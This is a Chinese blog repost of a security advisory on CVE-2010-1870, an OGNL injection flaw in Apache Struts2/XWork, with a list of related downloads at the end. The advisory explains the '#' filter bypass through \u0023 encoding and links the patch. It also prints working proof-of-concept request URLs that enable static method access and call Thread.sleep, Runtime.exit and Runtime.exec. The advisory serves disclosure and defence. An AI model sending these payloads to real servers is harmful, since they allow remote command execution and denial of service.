`
demon3780
  • 浏览: 84386 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

Apache Struts2 XWork绕过安全限制执行任意命令漏洞

 
阅读更多

http://mydomain/MyStruts.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(60000)')(d))

 

线程休眠60s

 

 

http://www.nsfocus.net/vulndb/15431

发布日期:2010-07-09
更新日期:2010-07-15

受影响系统:

OpenSymphony XWork < 2.2.0
Apache Group Struts < 2.2.0

描述:


BUGTRAQ  ID: 41592
CVE ID: CVE-2010-1870

XWork是一个命令模式框架,用于支持Struts 2及其他应用。

XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。

Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而OGNL将:  

user.address.city=Bishkek&user['favoriteDrink']=kumys  

转换为:  

action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")  

这是通过ParametersInterceptor来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。  

除了获取和设置属性外,OGNL还支持其他一些功能:  

    * 方法调用:foo()  
    * 静态方式调用: @java.lang.System@exit(1)  
    * 构建函数调用:new MyClass()  
    * 处理上下文变量:#foo = new MyClass()  

由于HTTP参数名为OGNL语句,为了防范攻击者通过HTTP参数调用任意方式,XWork使用了以下两个变量保护方式的执行:  

    * OgnlContext的属性xwork.MethodAccessor.denyMethodExecution(默认设置为true)  
    * SecurityMemberAccess私有字段allowStaticMethodAccess(默认设置为false)
  
为了方便开发人员访问各种常用的对象,XWork提供了一些预定义的上下文变量:  

    * #application  
    * #session  
    * #request  
    * #parameters  
    * #attr  
    * #context
    * #_memberAccess
    * #root  
    * #this  
    * #_typeResolver  
    * #_classResolver  
    * #_traceEvaluations  
    * #_lastEvaluation  
    * #_keepLastEvaluation  

这些变量代表各种服务器端对象。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:  

#_memberAccess['allowStaticMethodAccess'] = true  
#foo = new java .lang.Boolean("false")  
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
#rt = @java.lang.Runtime@getRuntime()  
#rt.exec('mkdir /tmp/PWNED')

<*来源:Meder Kydyraliev (bugtraq@web.areopag.net
  
  链接:http://secunia.com/advisories/32495/
        http://www.exploit-db.com/exploits/14360/
*>

测试方法:


 

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

 

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

建议:


厂商补丁:

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://svn.apache.org/viewvc?view=revision&revision=956389

分享到:
评论

相关推荐

    XWork绕过安全限制执行任意命令漏洞补丁

    XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。 Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而...

    xwork帮助文档

    - 权限控制:XWork提供了安全机制,可以限制用户访问特定的Action或方法。 - 防止XSS和CSRF:框架内置了一些防止跨站脚本攻击和跨站请求伪造的防护措施。 7. **性能优化**: - 缓存机制:XWork支持缓存策略,...

    Apache的Struts2框架严重安全漏洞

    然而,Struts2框架在过去曾曝出一系列的安全漏洞,其中最严重的一种允许攻击者通过HTTP请求直接执行任意系统命令,这极大地威胁了服务器的安全性。 这次提到的安全漏洞主要涉及Struts2的OGNL(Object-Graph ...

    Struts2.2.3 Xwork帮助文档

    **Xwork** 则是Struts2的基础,它处理了Action的生命周期和执行流程。Xwork的主要功能包括: 1. **Action管理**:Xwork管理Action的实例化、初始化、执行和销毁,确保了每个请求都对应一个Action实例,避免了线程...

    Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包

    2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...

    struts2之xwork

    而XWork是Struts2的核心组件,它负责处理Action的业务逻辑和控制流程。在深入理解Struts2与XWork的关系之前,我们首先需要了解MVC模式的基本概念。 MVC模式是一种软件设计模式,它将应用程序分为三个主要部分:模型...

    struts2xwork2帮助文档

    2. **Command模式**:XWork2基于Command模式,Action作为命令对象,接收请求并执行相应操作。 3. **Type Conversion**:XWork2提供类型转换机制,自动将请求参数转换为Action字段的类型。 4. **Exception Handling...

    struts2下的xwork源码

    XWork是Struts2的核心组件,它负责处理请求、业务逻辑以及动作调度。深入理解XWork的源码对于深入掌握Struts2的工作原理至关重要。 首先,我们需要了解XWork的几个关键概念: 1. **Action**:在Struts2中,Action...

    struts-xwork-core源码

    Struts-xwork-core是Struts2框架的核心组件,它提供了Action和结果的执行模型,以及类型转换、数据验证和国际化等功能。在这个压缩包中,包含了该核心库的源代码,对于学习和理解Struts2的工作原理及其内部机制极具...

    struts2 xwork2 源码

    Struts2和XWork2是两个非常重要的Java Web框架,它们在开发企业级应用程序时起着核心作用。Struts2是基于MVC(Model-View-Controller)设计模式的开源框架,而XWork2则是其底层工作框架,负责处理Action和业务逻辑。...

    Struts2源代码 包含struts-core和xwork-core源码

    Struts2是一个流行的Java web应用程序框架,用于构建和维护可扩展、高效且易于维护的MVC(模型-视图-控制器)架构的应用程序。它的核心是基于Action和Result的设计模式,提供了一种组织业务逻辑和表示层的方式。在这...

    Apache Struts2(S2-045)漏洞升级指南

    ### Apache Struts2 (S2-045) 漏洞升级指南 #### 一、漏洞概述 **Apache Struts2** 是一个基于MVC架构的开源Web应用程序框架,广泛应用于Java EE的企业级应用开发中。然而,在2017年3月,**Apache Struts2** 被...

    struts2.3xwork2.chm中文帮助文档

    最全的struts2.3和xwork2.chm中文帮助文档

    struts2 xwork源文件

    在这个“struts2 xwork源文件”压缩包中,包含了XWork框架的源代码,这对于开发者深入理解Struts2的工作原理和扩展功能非常有帮助。 在Eclipse这样的集成开发环境中导入XWork的源代码,可以使开发者在调试和查看类...

    Struts2中xwork源码

    它来源于struts.xml配置文件,是Struts2将配置信息转化为运行时对象的关键。 7. **Result**:结果是动作执行后的输出,可以是JSP、FreeMarker模板或者其他任何类型。Result接口定义了如何处理动作执行后的结果,...

    struts2_xwork2下载

    根据提供的文件信息,我们可以深入探讨Struts2与XWork2的相关知识点,特别是关于它们的下载、功能特性以及在实际项目中的应用。 ### Struts2框架简介 Apache Struts2是基于MVC(Model-View-Controller)设计模式的...

    Struts2 Xwork API

    struts-2.3.16.1-all API xwork-core core

    struts2 xwork-core 类图 chm

    struts2 xwork-core 类图 chm

    Struts2 S2-029远程代码执行漏洞初探1

    Struts2 S2-029 远程代码执行漏洞初探 ...Struts2 S2-029 远程代码执行漏洞是一个严重的安全漏洞,需要开发者和运维人员高度警惕,遵守安全编码实践,及时更新 Struts2 版本,避免此类漏洞的出现。

Global site tag (gtag.js) - Google Analytics